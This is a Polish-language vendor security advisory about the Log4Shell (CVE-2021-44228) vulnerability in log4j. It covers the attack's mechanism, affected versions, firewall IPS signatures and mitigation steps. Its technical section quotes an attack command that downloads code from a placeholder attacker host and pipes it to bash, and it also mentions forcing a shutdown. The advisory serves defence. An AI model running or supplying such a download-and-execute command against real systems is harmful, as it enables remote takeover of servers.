14 grudnia 2021

Log4Shell Zero-Day Alert bezpieczeństwa: jak zabezpieczają rozwiązania Stormshield?

Odkrycie luki Zero-Day Log4Shell było bombą przed końcem roku. Oto aktualizacja o krytycznej luce, przygotowana przez zespół Stormshield Customer Security Lab.

Kontekst ataku

9 grudnia Chen Zhaojun odkrył lukę zero-Day RCE (zdalne wykonywanie kodu) dotyczącą biblioteki log4j. Znanej dzisiaj jako Log4Shell z oznaczeniem CVE to CVE-2021-44228. Ta biblioteka jest używana w frameworku Apache i jego ekosystemie. Exploit pozwala atakującemu na zdalne przejęcie kontroli nad serwerem, w konsekwencji zagrożenie jest bardzo poważne. Dlatego wynik tej podatności wynosi 10, czyli jest najwyższy z możliwych.

Ta luka jest dużym problemem dla społeczności zajmującej się bezpieczeństwem, ponieważ, po pierwsze, jest już opublikowana, a po drugie, aktualizacje całego oprogramowania, którego dotyczy problem, mogą zająć dużo czasu.

Niektórzy eksperci uważają, że aktualizacja każdego oprogramowania, którego dotyczy problem, może zająć kilka lat.

POC (Proof of Concept)  dostępny na GitHub od 9 grudnia, pokazuje  techniki omijania zapory aplikacji internetowych.

Szczegóły techniczne ataku

Biblioteka log4j umożliwia generowanie logów dla aplikacji Java. Posiada funkcję o nazwie  JNDI (Java Naming and Directory Interface), która automatycznie wysyła zapytanie do serwera LDAP (lub innego serwera powiązanego z JNDI) po otrzymaniu określonego żądania.

Luka powoduje, że możliwe jest sfałszowanie przez atakującego logu lub określonego parametru, który przeglądany przez program powoduje, że funkcja JNDI może, np:

  • wykonać zapytanie na serwerze atakującego
  • wykonać polecenia, na przykład: curl -s SERVERIP:5874/[docelowy IP]:8080||wget -q -O- SERVERIP:5874/[docelowy IP]:8080)|bash
  • wykonać „shutdown now”, aby  wyłączyć usługę
  • spowodować złośliwe obciążenie na serwerze docelowym
  • itp.

Oto schemat podsumowujący wykorzystanie luki:

Wersja, której dotyczy problem

Podatne wersje  Log4j to te pomiędzy 2.0-beta9 i 2.14.1, w których funkcja „podstawiania wyszukiwania wiadomości” jest domyślnie włączona. Od wersji 2.15 funkcjonalność jest domyślnie wyłączona.

Oprogramowanie, którego dotyczy problem

Ponieważ jest to luka w bibliotece, która jest szeroko implementowana w narzędziach, niemożliwe jest sporządzenie dokładnej listy wszystkich podatnych programów; jednak wiadomo, że na pewno dotyczy ona również wielkich marek, takich jak Apple, Steam, Twitter, edytor Minecraft.

Aby mieć szerszy kontekst problemu warto rzucić okiem na publikacje z GitHUB’a tutaj.

Bezpieczeństwo oferowane przez rozwiązania STORMSHIELD

Stormshield Network Security

Na firewallach STORMSHIELD opublikowano dwie sygnatury IPS, umożliwiające wykrywanie i blokowanie prób zapisu logów zawierających instrukcję JNDI, która byłaby zawarta w nagłówku HTTP lub w treści żądania. Działają na podstawie analizy ruchu HTTP, który podczas inspekcji musi być w postaci zwykłego tekstu. Jeśli przepływ jest zaszyfrowany, serwer proxy SSL musi być aktywowany (ruch wychodzący) lub odszyfrowywanie musi być wykonane na innym urządzeniu nadrzędnym (ruch przychodzący).

Te sygnatury to:

http:client:header.217 → Próba Log4j2 RCE przy użyciu JNDI na nagłówku HTTP (CVE-2021-44228)

http:client:data.160 → Próba Log4j2 RCE przy użyciu JNDI na żądanie HTTP POST (CVE-2021-44228)

Rekomendacje

Pierwszą rekomendacją jest aktualizacja log4j do wersji 2.15.

Jeśli nie jest to możliwe należy wyłączyć funkcję wyszukiwania:

  • dla wersji większych lub równych 2.10 zmień właściwość systemową log4j2.formatMsgNoLookups na true
  • dla wersji starszych niż 2.7 zmień wzorzec PatternLayout na %m{nolookups} zamiast %m

dla wersji między 2.0-beta9 a 2.10 należy usunąć klasę JndiLookup:

zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class

zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class

Aktualizowana treść w języku angielskim dostępna jest na stronie producenta

Piotr Zielaskiewicz

Piotr Zielaskiewicz
senior product manager STORMSHIELD

Masz pytania?
Skontaktuj się ze mną:
zielaskiewicz.p@dagma.pl
32 259 11 38